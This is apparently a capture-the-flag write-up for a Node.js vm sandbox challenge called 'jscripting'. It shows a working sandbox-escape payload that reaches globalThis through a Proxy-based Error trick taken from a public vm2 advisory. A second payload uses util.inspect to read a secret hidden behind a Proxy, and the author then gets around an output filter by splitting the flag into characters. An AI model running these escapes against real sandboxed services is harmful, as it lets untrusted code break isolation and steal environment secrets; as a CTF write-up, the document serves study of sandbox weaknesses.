jscripting
tl;dr: use util.inspect
to see protected attributes of Proxy
object
problem
solution
on the backend, we execute our code in a node js vm
i got a payload from @oh_word on the cyberspace team, and he got it from https://security.snyk.io/vuln/SNYK-JS-VM2-5537100
example payload to get access to globalThis
(() => {const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return globalThis")();throw process;},}),};try{err.stack;}catch(e){
return e; // this is where the magic happens (what is returned here we can see)
}})()
this allows us to escape the vm and get access to the globalThis
object in the worker_globals.js file (shown below)
globalThis.module = module;
const secret = process.env["SECRET"];
const flag = process.env["FLAG"];
globalThis.storage = new Proxy({ secret },
{
get: (target, name) => {
if (name == "secret") {
return null;
}
return target[name];
},
getOwnPropertyDescriptor: (target, name) => {
if (name == "secret") {
return {
value: flag,
writable: true,
enumerable: true,
configurable: true,
};
}
return target[name];
}
});
the globalThis
object is also modified in worker.js (modified in worker.js before the vm executes our payload)
const moduleRequire = globalThis.module.require;
globalThis.module.require = (id) => {
const whitelist = [
"crypto",
"path",
"buffer",
"util",
"worker_threads",
"stream",
"string_decoder",
"console",
"perf_hooks"
];
if (!whitelist.some(p => id == p))
return;
return moduleRequire(id);
}
as you can see, the globalThis has a storage which has the flag
(fake flag!!!) and a secret
. the secret is the real flag, but we cant view it because it is hidden behind a proxy object
one idea i had was to do new globalThis.module.require('buffer').allocUnsafe(2000)
(similar to here) to leak memory, but this did not leak anything useful
we have access to the util
, which is very interesting.
interestingly, we have util.inspect
(see here)
putting this into our payload template to try to inspect storage:
(() => {const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return globalThis")();throw process;},}),};try{err.stack;}catch(e){
return e.module.require('util').inspect(e.storage);
}})()
what !?
well, there is a check to not print out flags
so i can just convert this to a list by doing [...str]
to make it ['c','r','3','{', etc, '}']
this outputted the flag